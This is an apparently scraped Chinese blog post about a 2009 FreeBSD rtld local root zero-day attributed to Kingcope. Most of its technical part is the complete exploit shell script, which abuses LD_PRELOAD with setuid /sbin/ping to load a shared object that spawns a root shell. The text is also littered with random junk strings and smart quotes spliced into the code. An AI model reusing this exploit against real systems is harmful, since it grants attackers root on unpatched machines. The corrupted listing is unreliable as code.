网络推荐

推荐给好友 上一篇 | 下一篇

FreeBSD爆严重安全漏洞,安全专家称疑是圣诞前的礼物

BSD爱好者乐园$s_9i#x,x!m8[Fu

在圣诞节即将到来的日子,以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日(0day)漏洞。据Kingcope所说,他长期致力于挖掘FreeBSD系统的本地提权漏洞,终于有幸在近期发现了这个非常低级的本地提权漏洞;这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中,普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛,包括FreeBSD 7.1至8.0的32及64位系统。BSD爱好者乐园O;az%cl X

6z1~^6f D h

j2CA-L,z/R6\vh(w`

}_ _ S+?在展示该漏洞威力之前,我们科普一下著名黑客kingcope。从2007年6月至今,他一共公开了12个安全漏洞(没公开的不知道有多少),其中FreeBSD和Sun Solaris各两个,微软四个,Oracle、mysql、NcFTPD和nginx各一个,同时他还编写了多个漏洞的攻击代码,例如Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。BSD爱好者乐园;G6SEW%sx(f0Z

BSD爱好者乐园{[9N8r4G/Q&z4].@7E M~1U

接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程,请注意图中的红色部分;我们只要执行名为fbsd8localroot.sh的脚本,就可以轻易的获得root权限。BSD爱好者乐园.Be1u R&D B%t

D%]`NG4AZd:pXBSD爱好者乐园+wS5vZW0Lk

BSD爱好者乐园)rd[w*k7`c

相关脚本如下:BSD爱好者乐园H/Ws%p|l3}@

iO^)q3T0|sb#!/bin/shBSD爱好者乐园Q?ro!S+xBY
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
m:Q#w*qzcat > env.c << _EOFBSD爱好者乐园']_|T'Wge
#include <stdio.h>BSD爱好者乐园(b,p3P2iEE#Wh6B
main() {
Q(_:F2U y-i { s       extern char **environ;
4A8?*@ _]z       environ = (char**)malloc(8096);
|K9M,At_A       environ[0] = (char*)malloc(1024);BSD爱好者乐园&hw PPq G s5d!A
       environ[1] = (char*)malloc(1024);BSD爱好者乐园*En*o z+n i"N
       strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);
)w%x0Fe6Q%V1rb       execl(”/sbin/ping”, “ping”, 0);
]"fYPuQ}
{%Y,}Yy gBS:qG P_EOF
#[w[T@0|ugcc env.c -o env > /dev/null 2>&1BSD爱好者乐园G'YANe4Fn
#download from baoz.netBSD爱好者乐园(Q:W2A'`U:eP
cat > program.c << _EOFBSD爱好者乐园K,XTd5CN+Oyv
#include <unistd.h>BSD爱好者乐园0hxi&~7_vN}3EB
#include <stdio.h>BSD爱好者乐园0M+QvX#kJh*o
#include <sys/types.h>
(O1kC7w2WG#include <stdlib.h>BSD爱好者乐园^(\:Ff c+v5G1I
void _init() {
H&zW;TkP&b4X       extern char **environ;BSD爱好者乐园:}K II6M#w%} ]
       environ=NULL;
_.b7tfC2Q!` c       system(”echo ALEX-ALEX;/bin/sh”);
&jdCu"v8Z*{ \Ft}BSD爱好者乐园X*M1z,j:I;n R
_EOFBSD爱好者乐园!vHt ed/}0X#_!XU
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./envBSD爱好者乐园D#pA+R Sg;Y

};Vm'~0]FreeBSD尚未就该0day漏洞发布安全公告及官方补丁,敬请关注素包子的博客http://baoz.net/freebsd8-localroot-0day/以获取该漏洞的最新情况。BSD爱好者乐园&y,U4@{.eRG!U J

因为使用范围的限制,BSD方面文章更新速度不快,站长会坚持每天更新博客,欢迎访问!
[版权声明]BSD爱好者乐园站内文章,如来源不是互联网,则均系原创或翻译之作,可随意转载,或以此为基础进行演译,但务必以链接形式注明原始出处和作者信息,否则属于侵权行为。另对本站转载他处文章,俱有说明,如有侵权请联系本人,本人将会在第一时间删除侵权文章。
TAG: freebsd FreeBSD Freebsd root 漏洞
查看全部5条评论

最新评论

  • 删除 Guest (2010-1-03 18:49:47, 评分: 3 )

    3
  • 删除 Guest (2009-12-22 16:54:40, 评分: -5 )

    -5
  • 删除 Guest (2009-12-22 15:10:45, 评分: -5 )

    -5
  • 删除 引用 剑心通明 (2009-12-15 08:43:42, 评分: 0 )

    没办法啊,谁让咱用的是免费的网络啊。等以后网站能带来收入够养活它的时候再考虑换地方吧。
    原帖由Guest于2009-12-12 13:48:46发表
    你的网站慢了好多,麻烦修改快点
  • 删除 引用 Guest (2009-12-12 13:48:46, 评分: 0 )

    你的网站慢了好多,麻烦修改快点
 

评分:0

我来说两句

seccode